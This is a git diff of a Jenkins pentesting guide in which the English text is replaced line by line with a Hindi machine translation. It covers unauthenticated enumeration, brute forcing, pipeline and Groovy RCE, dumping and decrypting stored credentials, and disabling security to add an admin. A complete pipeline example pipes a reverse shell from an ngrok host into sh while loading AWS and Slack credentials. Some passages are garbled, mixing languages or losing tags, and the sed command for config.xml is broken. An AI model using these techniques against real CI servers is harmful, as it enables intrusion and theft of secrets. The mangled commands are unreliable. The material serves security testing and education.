-Jenkins is a tool that offers a straightforward method for establishing a **continuous integration** or **continuous delivery** (CI/CD) environment for almost **any** combination of **programming languages** and source code repositories using pipelines. Furthermore, it automates various routine development tasks. While Jenkins doesn't eliminate the **need to create scripts for individual steps**, it does provide a faster and more robust way to integrate the entire sequence of build, test, and deployment tools than one can easily construct manually.
+Jenkins एक उपकरण है जो लगभग **किसी भी** **प्रोग्रामिंग भाषाओं** और स्रोत कोड रिपॉजिटरी के लिए **निरंतर एकीकरण** या **निरंतर वितरण** (CI/CD) वातावरण स्थापित करने के लिए एक सीधा तरीका प्रदान करता है। इसके अलावा, यह विभिन्न नियमित विकास कार्यों को स्वचालित करता है। जबकि Jenkins **व्यक्तिगत चरणों** के लिए स्क्रिप्ट बनाने की **आवश्यकता** को समाप्त नहीं करता, यह निर्माण, परीक्षण, और तैनाती उपकरणों के पूरे अनुक्रम को एक साथ जोड़ने का एक तेज़ और अधिक मजबूत तरीका प्रदान करता है, जो कि मैन्युअल रूप से आसानी से बनाया जा सकता है।
{{#ref}}
basic-jenkins-information.md
@@ -12,74 +12,68 @@ basic-jenkins-information.md
## Unauthenticated Enumeration
-In order to search for interesting Jenkins pages without authentication like (_/people_ or _/asynchPeople_, this lists the current users) you can use:
-
+दिलचस्प Jenkins पृष्ठों की खोज करने के लिए बिना प्रमाणीकरण के जैसे (_/people_ या _/asynchPeople_, यह वर्तमान उपयोगकर्ताओं की सूची बनाता है) आप उपयोग कर सकते हैं:
```
msf> use auxiliary/scanner/http/jenkins_enum
```
-
-Check if you can execute commands without needing authentication:
-
+जांचें कि क्या आप प्रमाणीकरण की आवश्यकता के बिना कमांड निष्पादित कर सकते हैं:
```
msf> use auxiliary/scanner/http/jenkins_command
```
+बिना क्रेडेंशियल्स के आप _**/asynchPeople/**_ पथ या _**/securityRealm/user/admin/search/index?q=**_ में **यूजरनेम** देख सकते हैं।
-Without credentials you can look inside _**/asynchPeople/**_ path or _**/securityRealm/user/admin/search/index?q=**_ for **usernames**.
-
-You may be able to get the Jenkins version from the path _**/oops**_ or _**/error**_
+आप _**/oops**_ या _**/error**_ पथ से Jenkins संस्करण प्राप्त कर सकते हैं।
.png>)
-### Known Vulnerabilities
+### ज्ञात कमजोरियाँ
{{#ref}}
https://github.com/gquere/pwn_jenkins
{{#endref}}
-## Login
+## लॉगिन
-In the basic information you can check **all the ways to login inside Jenkins**:
+बुनियादी जानकारी में आप **Jenkins के अंदर लॉगिन करने के सभी तरीके** देख सकते हैं:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-### Register
+### पंजीकरण
-You will be able to find Jenkins instances that **allow you to create an account and login inside of it. As simple as that.**
+आप Jenkins उदाहरणों को खोजने में सक्षम होंगे जो **आपको एक खाता बनाने और इसके अंदर लॉगिन करने की अनुमति देते हैं। बस इतना आसान।**
-### **SSO Login**
+### **SSO लॉगिन**
-Also if **SSO** **functionality**/**plugins** were present then you should attempt to **log-in** to the application using a test account (i.e., a test **Github/Bitbucket account**). Trick from [**here**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/).
+यदि **SSO** **कार्यात्मकता**/**प्लगइन्स** मौजूद थे तो आपको एक परीक्षण खाते (यानी, एक परीक्षण **Github/Bitbucket खाता**) का उपयोग करके एप्लिकेशन में **लॉग-इन** करने का प्रयास करना चाहिए। [**यहां**](https://emtunc.org/blog/01/2018/research-misconfigured-jenkins-servers/) से ट्रिक करें।
-### Bruteforce
-
-**Jenkins** lacks **password policy** and **username brute-force mitigation**. It's essential to **brute-force** users since **weak passwords** or **usernames as passwords** may be in use, even **reversed usernames as passwords**.
+### ब्रूटफोर्स
+**Jenkins** में **पासवर्ड नीति** और **यूजरनेम ब्रूट-फोर्स शमन** की कमी है। यह **ब्रूट-फोर्स** उपयोगकर्ताओं के लिए आवश्यक है क्योंकि **कमजोर पासवर्ड** या **पासवर्ड के रूप में यूजरनेम** का उपयोग हो सकता है, यहां तक कि **उल्टे यूजरनेम के रूप में पासवर्ड** भी हो सकते हैं।
```
msf> use auxiliary/scanner/http/jenkins_login
```
-
### Password spraying
Use [this python script](https://github.com/gquere/pwn_jenkins/blob/master/password_spraying/jenkins_password_spraying.py) or [this powershell script](https://github.com/chryzsh/JenkinsPasswordSpray).
### IP Whitelisting Bypass
-Many organizations combine **SaaS-based source control management (SCM) systems** such as GitHub or GitLab with an **internal, self-hosted CI** solution like Jenkins or TeamCity. This setup allows CI systems to **receive webhook events from SaaS source control vendors**, primarily for triggering pipeline jobs.
+कई संगठन **SaaS-आधारित स्रोत नियंत्रण प्रबंधन (SCM) सिस्टम** जैसे GitHub या GitLab को **आंतरिक, स्वयं-होस्टेड CI** समाधान जैसे Jenkins या TeamCity के साथ मिलाते हैं। यह सेटअप CI सिस्टम को **SaaS स्रोत नियंत्रण विक्रेताओं** से **वेबहुक घटनाओं** को **प्राप्त** करने की अनुमति देता है, मुख्य रूप से पाइपलाइन नौकरियों को ट्रिगर करने के लिए।
-To achieve this, organizations **whitelist** the **IP ranges** of the **SCM platforms**, permitting them to access the **internal CI system** via **webhooks**. However, it's important to note that **anyone** can create an **account** on GitHub or GitLab and configure it to **trigger a webhook**, potentially sending requests to the **internal CI system**.
+इसको प्राप्त करने के लिए, संगठन **SCM प्लेटफार्मों** के **IP रेंज** को **व्हाइटलिस्ट** करते हैं, जिससे उन्हें **वेबहुक** के माध्यम से **आंतरिक CI सिस्टम** तक पहुंचने की अनुमति मिलती है। हालाँकि, यह ध्यान रखना महत्वपूर्ण है कि **कोई भी** GitHub या GitLab पर एक **खाता** बना सकता है और इसे **वेबहुक** को **ट्रिगर** करने के लिए कॉन्फ़िगर कर सकता है, संभावित रूप से **आंतरिक CI सिस्टम** को अनुरोध भेज सकता है।
Check: [https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/](https://www.paloaltonetworks.com/blog/prisma-cloud/repository-webhook-abuse-access-ci-cd-systems-at-scale/)
## Internal Jenkins Abuses
-In these scenarios we are going to suppose you have a valid account to access Jenkins.
+इन परिदृश्यों में हम मानेंगे कि आपके पास Jenkins तक पहुंचने के लिए एक मान्य खाता है।
> [!WARNING]
-> Depending on the **Authorization** mechanism configured in Jenkins and the permission of the compromised user you **might be able or not to perform the following attacks.**
+> Jenkins में कॉन्फ़िगर की गई **Authorization** तंत्र और समझौता किए गए उपयोगकर्ता की अनुमति के आधार पर, आप **निम्नलिखित हमलों को करने में सक्षम हो सकते हैं या नहीं।**
-For more information check the basic information:
+अधिक जानकारी के लिए बुनियादी जानकारी देखें:
{{#ref}}
basic-jenkins-information.md
@@ -87,165 +81,155 @@ basic-jenkins-information.md
### Listing users
-If you have accessed Jenkins you can list other registered users in [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/)
+यदि आपने Jenkins तक पहुंच प्राप्त कर ली है, तो आप [http://127.0.0.1:8080/asynchPeople/](http://127.0.0.1:8080/asynchPeople/) में अन्य पंजीकृत उपयोगकर्ताओं की सूची देख सकते हैं।
### Dumping builds to find cleartext secrets
Use [this script](https://github.com/gquere/pwn_jenkins/blob/master/dump_builds/jenkins_dump_builds.py) to dump build console outputs and build environment variables to hopefully find cleartext secrets.
-
```bash
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
```
+### **SSH क्रेडेंशियल चुराना**
-### **Stealing SSH Credentials**
-
-If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
+यदि समझौता किया गया उपयोगकर्ता **एक नया Jenkins नोड बनाने/संशोधित करने के लिए पर्याप्त विशेषाधिकार रखता है** और SSH क्रेडेंशियल पहले से अन्य नोड्स तक पहुँचने के लिए संग्रहीत हैं, तो वह **उन क्रेडेंशियल्स को चुरा सकता है** एक नोड बनाकर/संशोधित करके और **एक होस्ट सेट करके जो क्रेडेंशियल्स को रिकॉर्ड करेगा** बिना होस्ट कुंजी की पुष्टि किए:
.png>)
-You will usually find Jenkins ssh credentials in a **global provider** (`/credentials/`), so you can also dump them as you would dump any other secret. More information in the [**Dumping secrets section**](./#dumping-secrets).
+आप आमतौर पर Jenkins ssh क्रेडेंशियल्स को **वैश्विक प्रदाता** (`/credentials/`) में पाएंगे, इसलिए आप उन्हें किसी अन्य रहस्य की तरह डंप भी कर सकते हैं। अधिक जानकारी के लिए [**रहस्यों को डंप करने के अनुभाग**](./#dumping-secrets) में देखें।
-### **RCE in Jenkins**
+### **Jenkins में RCE**
-Getting a **shell in the Jenkins server** gives the attacker the opportunity to leak all the **secrets** and **env variables** and to **exploit other machines** located in the same network or even **gather cloud credentials**.
+Jenkins सर्वर में **शेल प्राप्त करना** हमलावर को सभी **रहस्यों** और **env वेरिएबल्स** को लीक करने और **एक ही नेटवर्क में स्थित अन्य मशीनों का शोषण करने** या यहां तक कि **क्लाउड क्रेडेंशियल्स इकट्ठा करने** का अवसर देता है।
-By default, Jenkins will **run as SYSTEM**. So, compromising it will give the attacker **SYSTEM privileges**.
+डिफ़ॉल्ट रूप से, Jenkins **SYSTEM के रूप में चलेगा**। इसलिए, इसे समझौता करने से हमलावर को **SYSTEM विशेषाधिकार** मिलेंगे।
-### **RCE Creating/Modifying a project**
+### **RCE प्रोजेक्ट बनाना/संशोधित करना**
-Creating/Modifying a project is a way to obtain RCE over the Jenkins server:
+प्रोजेक्ट बनाना/संशोधित करना Jenkins सर्वर पर RCE प्राप्त करने का एक तरीका है:
{{#ref}}
jenkins-rce-creating-modifying-project.md
{{#endref}}
-### **RCE Execute Groovy script**
+### **RCE Groovy स्क्रिप्ट निष्पादित करना**
-You can also obtain RCE executing a Groovy script, which might my stealthier than creating a new project:
+आप एक Groovy स्क्रिप्ट निष्पादित करके भी RCE प्राप्त कर सकते हैं, जो एक नया प्रोजेक्ट बनाने की तुलना में अधिक छिपा हुआ हो सकता है:
{{#ref}}
jenkins-rce-with-groovy-script.md
{{#endref}}
-### RCE Creating/Modifying Pipeline
+### RCE पाइपलाइन बनाना/संशोधित करना
-You can also get **RCE by creating/modifying a pipeline**:
+आप **पाइपलाइन बनाकर/संशोधित करके RCE प्राप्त कर सकते हैं**:
{{#ref}}
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Pipeline Exploitation
+## पाइपलाइन शोषण
-To exploit pipelines you still need to have access to Jenkins.
+पाइपलाइनों का शोषण करने के लिए आपको अभी भी Jenkins तक पहुँच प्राप्त करनी होगी।
-### Build Pipelines
+### बिल्ड पाइपलाइन्स
-**Pipelines** can also be used as **build mechanism in projects**, in that case it can be configured a **file inside the repository** that will contains the pipeline syntax. By default `/Jenkinsfile` is used:
+**पाइपलाइन्स** को **प्रोजेक्ट्स में बिल्ड तंत्र के रूप में** भी उपयोग किया जा सकता है, इस मामले में इसे **भंडार के अंदर एक फ़ाइल** के रूप में कॉन्फ़िगर किया जा सकता है जो पाइपलाइन सिंटैक्स को शामिल करेगा। डिफ़ॉल्ट रूप से `/Jenkinsfile` का उपयोग किया जाता है:
.png>)
-It's also possible to **store pipeline configuration files in other places** (in other repositories for example) with the goal of **separating** the repository **access** and the pipeline access.
+यह भी संभव है कि **पाइपलाइन कॉन्फ़िगरेशन फ़ाइलों को अन्य स्थानों पर संग्रहीत किया जाए** (उदाहरण के लिए अन्य भंडार में) जिसका लक्ष्य **भंडार की पहुँच** और पाइपलाइन पहुँच को **अलग करना** है।
-If an attacker have **write access over that file** he will be able to **modify** it and **potentially trigger** the pipeline without even having access to Jenkins.\
-It's possible that the attacker will need to **bypass some branch protections** (depending on the platform and the user privileges they could be bypassed or not).
+यदि एक हमलावर के पास **उस फ़ाइल पर लिखने की पहुँच है** तो वह इसे **संशोधित** कर सकेगा और **संभावित रूप से पाइपलाइन को ट्रिगर** कर सकेगा बिना Jenkins तक पहुँच के।\
+संभव है कि हमलावर को **कुछ शाखा सुरक्षा को बायपास करना पड़े** (प्लेटफ़ॉर्म और उपयोगकर्ता विशेषाधिकार के आधार पर, उन्हें बायपास किया जा सकता है या नहीं)।
-The most common triggers to execute a custom pipeline are:
+कस्टम पाइपलाइन को निष्पादित करने के लिए सबसे सामान्य ट्रिगर्स हैं:
-- **Pull request** to the main branch (or potentially to other branches)
-- **Push to the main branch** (or potentially to other branches)
-- **Update the main branch** and wait until it's executed somehow
+- **मुख्य शाखा** पर **पुल अनुरोध** (या संभावित रूप से अन्य शाखाओं पर)
+- **मुख्य शाखा** पर **पुश** (या संभावित रूप से अन्य शाखाओं पर)
+- **मुख्य शाखा को अपडेट करें** और प्रतीक्षा करें जब तक कि इसे किसी तरह निष्पादित नहीं किया जाता
> [!NOTE]
-> If you are an **external user** you shouldn't expect to create a **PR to the main branch** of the repo of **other user/organization** and **trigger the pipeline**... but if it's **bad configured** you could fully **compromise companies just by exploiting this**.
+> यदि आप एक **बाहरी उपयोगकर्ता** हैं तो आपको **अन्य उपयोगकर्ता/संस्थान** के भंडार की **मुख्य शाखा** पर **PR बनाने** और **पाइपलाइन को ट्रिगर करने** की उम्मीद नहीं करनी चाहिए... लेकिन यदि यह **खराब कॉन्फ़िगर किया गया है** तो आप पूरी तरह से **कंपनियों को केवल इसका शोषण करके समझौता कर सकते हैं**।
-### Pipeline RCE
+### पाइपलाइन RCE
-In the previous RCE section it was already indicated a technique to [**get RCE modifying a pipeline**](./#rce-creating-modifying-pipeline).
+पिछले RCE अनुभाग में पहले से ही [**पाइपलाइन को संशोधित करके RCE प्राप्त करने की तकनीक**](./#rce-creating-modifying-pipeline) का संकेत दिया गया था।
-### Checking Env variables
-
-It's possible to declare **clear text env variables** for the whole pipeline or for specific stages. This env variables **shouldn't contain sensitive info**, but and attacker could always **check all the pipeline** configurations/Jenkinsfiles:
+### Env वेरिएबल्स की जाँच करना
+यह संभव है कि **पूरी पाइपलाइन** या विशिष्ट चरणों के लिए **स्पष्ट पाठ env वेरिएबल्स** घोषित किए जाएं। ये env वेरिएबल्स **संवेदनशील जानकारी** नहीं होनी चाहिए, लेकिन एक हमलावर हमेशा **सभी पाइपलाइन** कॉन्फ़िगरेशन/Jenkinsfiles की **जाँच कर सकता है**:
```bash
pipeline {
- agent {label 'built-in'}
- environment {
- GENERIC_ENV_VAR = "Test pipeline ENV variables."
- }
+agent {label 'built-in'}
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
- stages {
- stage("Build") {
- environment {
- STAGE_ENV_VAR = "Test stage ENV variables."
- }
- steps {
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
```
-
### Dumping secrets
-For information about how are secrets usually treated by Jenkins check out the basic information:
+Jenkins द्वारा सामान्यतः रहस्यों के साथ कैसे व्यवहार किया जाता है, इसके बारे में जानकारी के लिए बुनियादी जानकारी देखें:
{{#ref}}
basic-jenkins-information.md
{{#endref}}
-Credentials can be **scoped to global providers** (`/credentials/`) or to **specific projects** (`/job//configure`). Therefore, in order to exfiltrate all of them you need to **compromise at least all the projects** that contains secrets and execute custom/poisoned pipelines.
-
-There is another problem, in order to get a **secret inside the env** of a pipeline you need to **know the name and type of the secret**. For example, you try lo **load** a **`usernamePassword`** **secret** as a **`string`** **secret** you will get this **error**:
+क्रेडेंशियल्स को **वैश्विक प्रदाताओं** (`/credentials/`) या **विशिष्ट परियोजनाओं** (`/job//configure`) के लिए **स्कोप किया जा सकता है**। इसलिए, सभी को निकालने के लिए आपको **कम से कम सभी परियोजनाओं से समझौता करना होगा** जो रहस्यों को शामिल करती हैं और कस्टम/ज़हरीले पाइपलाइनों को निष्पादित करना होगा।
+एक और समस्या है, पाइपलाइन के **env** के अंदर एक **रहस्य** प्राप्त करने के लिए आपको **रहस्य का नाम और प्रकार जानना होगा**। उदाहरण के लिए, यदि आप एक **`usernamePassword`** **रहस्य** को **`string`** **रहस्य** के रूप में **लोड** करने की कोशिश करते हैं, तो आपको यह **त्रुटि** मिलेगी:
```
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
```
-
-Here you have the way to load some common secret types:
-
+यहाँ कुछ सामान्य गुप्त प्रकार लोड करने का तरीका है:
```bash
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
- sh '''
- env #Search for USERNAME and PASS
- '''
+sh '''
+env #Search for USERNAME and PASS
+'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
- sh '''
- env #Search for SECRET
- '''
+sh '''
+env #Search for SECRET
+'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
- sh '''
- env # Search for USERPASS
- '''
+sh '''
+env # Search for USERPASS
+'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
- string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
- sh '''
- env
- '''
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+env
+'''
}
```
-
-At the end of this page you can **find all the credential types**: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
+इस पृष्ठ के अंत में आप **सभी क्रेडेंशियल प्रकार** पा सकते हैं: [https://www.jenkins.io/doc/pipeline/steps/credentials-binding/](https://www.jenkins.io/doc/pipeline/steps/credentials-binding/)
> [!WARNING]
-> The best way to **dump all the secrets at once** is by **compromising** the **Jenkins** machine (running a reverse shell in the **built-in node** for example) and then **leaking** the **master keys** and the **encrypted secrets** and decrypting them offline.\
-> More on how to do this in the [Nodes & Agents section](./#nodes-and-agents) and in the [Post Exploitation section](./#post-exploitation).
+> **सभी रहस्यों को एक साथ डंप करने** का सबसे अच्छा तरीका **Jenkins** मशीन को **समझौता** करना है (उदाहरण के लिए **बिल्ट-इन नोड** में एक रिवर्स शेल चलाना) और फिर **मास्टर की** और **एन्क्रिप्टेड रहस्यों** को **लीक** करना और उन्हें ऑफलाइन डिक्रिप्ट करना।\
+> इसे करने के बारे में अधिक जानकारी [Nodes & Agents section](./#nodes-and-agents) और [Post Exploitation section](./#post-exploitation) में है।
-### Triggers
+### ट्रिगर्स
-From [the docs](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers): The `triggers` directive defines the **automated ways in which the Pipeline should be re-triggered**. For Pipelines which are integrated with a source such as GitHub or BitBucket, `triggers` may not be necessary as webhooks-based integration will likely already be present. The triggers currently available are `cron`, `pollSCM` and `upstream`.
-
-Cron example:
+[दस्तावेज़ों](https://www.jenkins.io/doc/book/pipeline/syntax/#triggers) से: `triggers` निर्देश **स्वचालित तरीकों को परिभाषित करता है जिनसे पाइपलाइन को फिर से ट्रिगर किया जाना चाहिए**। उन पाइपलाइनों के लिए जो GitHub या BitBucket जैसे स्रोत के साथ एकीकृत हैं, `triggers` आवश्यक नहीं हो सकते हैं क्योंकि वेबहुक-आधारित एकीकरण पहले से मौजूद हो सकता है। वर्तमान में उपलब्ध ट्रिगर्स हैं `cron`, `pollSCM` और `upstream`।
+क्रोन उदाहरण:
```bash
triggers { cron('H */4 * * 1-5') }
```
-
Check **other examples in the docs**.
### Nodes & Agents
@@ -258,55 +242,51 @@ For more information check the basic information:
basic-jenkins-information.md
{{#endref}}
-You can enumerate the **configured nodes** in `/computer/`, you will usually find the \*\*`Built-In Node` \*\* (which is the node running Jenkins) and potentially more:
+You can enumerate the **configured nodes** in `/computer/`, you will usually find the **`Built-In Node`** (which is the node running Jenkins) and potentially more:
.png>)
-It is **specially interesting to compromise the Built-In node** because it contains sensitive Jenkins information.
+It is **विशेष रूप से दिलचस्प Built-In node को समझौता करना** क्योंकि इसमें संवेदनशील Jenkins जानकारी होती है।
To indicate you want to **run** the **pipeline** in the **built-in Jenkins node** you can specify inside the pipeline the following config:
-
```bash
pipeline {
- agent {label 'built-in'}
+agent {label 'built-in'}
```
+### पूरा उदाहरण
-### Complete example
-
-Pipeline in an specific agent, with a cron trigger, with pipeline and stage env variables, loading 2 variables in a step and sending a reverse shell:
-
+एक विशेष एजेंट में पाइपलाइन, एक क्रोन ट्रिगर के साथ, पाइपलाइन और स्टेज पर्यावरण चर के साथ, एक चरण में 2 चर लोड करना और एक रिवर्स शेल भेजना:
```bash
pipeline {
- agent {label 'built-in'}
- triggers { cron('H */4 * * 1-5') }
- environment {
- GENERIC_ENV_VAR = "Test pipeline ENV variables."
- }
+agent {label 'built-in'}
+triggers { cron('H */4 * * 1-5') }
+environment {
+GENERIC_ENV_VAR = "Test pipeline ENV variables."
+}
- stages {
- stage("Build") {
- environment {
- STAGE_ENV_VAR = "Test stage ENV variables."
- }
- steps {
- withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
- string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
- sh '''
- curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
- '''
- }
- }
- }
+stages {
+stage("Build") {
+environment {
+STAGE_ENV_VAR = "Test stage ENV variables."
+}
+steps {
+withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
+string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
+sh '''
+curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
+'''
+}
+}
+}
- post {
- always {
- cleanWs()
- }
- }
+post {
+always {
+cleanWs()
+}
+}
}
```
-
-## Arbitrary File Read to RCE
+## मनमाना फ़ाइल पढ़ना से RCE
{{#ref}}
jenkins-arbitrary-file-read-to-rce-via-remember-me.md
@@ -326,19 +306,17 @@ jenkins-rce-creating-modifying-project.md
jenkins-rce-creating-modifying-pipeline.md
{{#endref}}
-## Post Exploitation
-
-### Metasploit
+## पोस्ट एक्सप्लॉइटेशन
+### मेटास्प्लॉइट
```
msf> post/multi/gather/jenkins_gather
```
-
### Jenkins Secrets
-You can list the secrets accessing `/credentials/` if you have enough permissions. Note that this will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
+आप `/credentials/` को एक्सेस करके सीक्रेट्स की सूची बना सकते हैं यदि आपके पास पर्याप्त अनुमतियाँ हैं। ध्यान दें कि यह केवल `credentials.xml` फ़ाइल के अंदर के सीक्रेट्स की सूची बनाएगा, लेकिन **बिल्ड कॉन्फ़िगरेशन फ़ाइलें** में भी **अधिक क्रेडेंशियल्स** हो सकते हैं।
-If you can **see the configuration of each project**, you can also see in there the **names of the credentials (secrets)** being use to access the repository and **other credentials of the project**.
+यदि आप **प्रत्येक प्रोजेक्ट की कॉन्फ़िगरेशन देख सकते हैं**, तो आप वहाँ **क्रेडेंशियल्स (सीक्रेट्स)** के नाम भी देख सकते हैं जो रिपॉजिटरी और **प्रोजेक्ट के अन्य क्रेडेंशियल्स** तक पहुँचने के लिए उपयोग किए जा रहे हैं।
.png>)
@@ -350,19 +328,18 @@ jenkins-dumping-secrets-from-groovy.md
#### From disk
-These files are needed to **decrypt Jenkins secrets**:
+इन फ़ाइलों की आवश्यकता है **Jenkins सीक्रेट्स को डिक्रिप्ट करने के लिए**:
- secrets/master.key
- secrets/hudson.util.Secret
-Such **secrets can usually be found in**:
+ऐसे **सीक्रेट्स आमतौर पर** मिल सकते हैं:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
-Here's a regex to find them:
-
+उन्हें खोजने के लिए यहाँ एक regex है:
```bash
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
@@ -372,11 +349,9 @@ grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: {AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}
```
+#### Jenkins रहस्यों को ऑफ़लाइन डिक्रिप्ट करें
-#### Decrypt Jenkins secrets offline
-
-If you have dumped the **needed passwords to decrypt the secrets**, use [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) **to decrypt those secrets**.
-
+यदि आपने **रहस्यों को डिक्रिप्ट करने के लिए आवश्यक पासवर्ड्स को डंप किया है**, तो **उन रहस्यों को डिक्रिप्ट करने के लिए [**यह स्क्रिप्ट**](https://github.com/gquere/pwn_jenkins/blob/master/offline_decryption/jenkins_offline_decrypt.py) का उपयोग करें**।
```bash
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
@@ -384,23 +359,20 @@ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
```
-
-#### Decrypt Jenkins secrets from Groovy
-
+#### Groovy से Jenkins रहस्यों को डिक्रिप्ट करें
```bash
println(hudson.util.Secret.decrypt("{...}"))
```
+### नया प्रशासनिक उपयोगकर्ता बनाएं
-### Create new admin user
+1. `/var/lib/jenkins/config.xml` या `C:\Program Files (x86)\Jenkis\` में Jenkins config.xml फ़ाइल तक पहुँचें।
+2. `true` शब्द के लिए खोजें और **`true`** शब्द को **`false`** में बदलें।
+1. `sed -i -e 's/truefalsetrue` में बदलकर **सुरक्षा** को फिर से **सक्षम** करें और **Jenkins को फिर से पुनः प्रारंभ** करें।
-1. Access the Jenkins config.xml file in `/var/lib/jenkins/config.xml` or `C:\Program Files (x86)\Jenkis\`
-2. Search for the word `true`and change the word \*\*`true` \*\* to **`false`**.
- 1. `sed -i -e 's/truefalsetrue` and **restart the Jenkins again**.
-
-## References
+## संदर्भ
- [https://github.com/gquere/pwn_jenkins](https://github.com/gquere/pwn_jenkins)
- [https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/](https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/)
@@ -410,7 +382,3 @@ println(hudson.util.Secret.decrypt("{...}"))
- [https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3](https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
index 6e62a8536..404851b5d 100644
--- a/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
+++ b/src/pentesting-ci-cd/jenkins-security/basic-jenkins-information.md
@@ -6,48 +6,48 @@
### Username + Password
-The most common way to login in Jenkins if with a username or a password
+Jenkins में लॉगिन करने का सबसे सामान्य तरीका एक उपयोगकर्ता नाम या पासवर्ड है।
### Cookie
-If an **authorized cookie gets stolen**, it ca be used to access the session of the user. The cookie is usually called `JSESSIONID.*`. (A user can terminate all his sessions, but he would need to find out first that a cookie was stolen).
+यदि एक **अधिकृत कुकी चुराई जाती है**, तो इसका उपयोग उपयोगकर्ता के सत्र तक पहुँचने के लिए किया जा सकता है। कुकी को आमतौर पर `JSESSIONID.*` कहा जाता है। (एक उपयोगकर्ता अपने सभी सत्रों को समाप्त कर सकता है, लेकिन उसे पहले यह पता लगाना होगा कि एक कुकी चुराई गई थी)।
### SSO/Plugins
-Jenkins can be configured using plugins to be **accessible via third party SSO**.
+Jenkins को प्लगइन्स का उपयोग करके **तीसरे पक्ष के SSO के माध्यम से पहुँच योग्य** बनाया जा सकता है।
### Tokens
-**Users can generate tokens** to give access to applications to impersonate them via CLI or REST API.
+**उपयोगकर्ता टोकन उत्पन्न कर सकते हैं** ताकि अनुप्रयोगों को CLI या REST API के माध्यम से उनकी नकल करने की अनुमति दी जा सके।
### SSH Keys
-This component provides a built-in SSH server for Jenkins. It’s an alternative interface for the [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/), and commands can be invoked this way using any SSH client. (From the [docs](https://plugins.jenkins.io/sshd/))
+यह घटक Jenkins के लिए एक अंतर्निहित SSH सर्वर प्रदान करता है। यह [Jenkins CLI](https://www.jenkins.io/doc/book/managing/cli/) के लिए एक वैकल्पिक इंटरफ़ेस है, और किसी भी SSH क्लाइंट का उपयोग करके इस तरह से कमांड को लागू किया जा सकता है। (From the [docs](https://plugins.jenkins.io/sshd/))
## Authorization
-In `/configureSecurity` it's possible to **configure the authorization method of Jenkins**. There are several options:
+`/configureSecurity` में Jenkins के **अधिकार विधि को कॉन्फ़िगर करना संभव है**। कई विकल्प हैं:
-- **Anyone can do anything**: Even anonymous access can administrate the server
-- **Legacy mode**: Same as Jenkins <1.164. If you have the **"admin" role**, you'll be granted **full control** over the system, and **otherwise** (including **anonymous** users) you'll have **read** access.
-- **Logged-in users can do anything**: In this mode, every **logged-in user gets full control** of Jenkins. The only user who won't have full control is **anonymous user**, who only gets **read access**.
-- **Matrix-based security**: You can configure **who can do what** in a table. Each **column** represents a **permission**. Each **row** **represents** a **user or a group/role.** This includes a special user '**anonymous**', which represents **unauthenticated users**, as well as '**authenticated**', which represents **all authenticated users**.
+- **कोई भी कुछ भी कर सकता है**: यहां तक कि गुमनाम पहुँच भी सर्वर का प्रशासन कर सकती है।
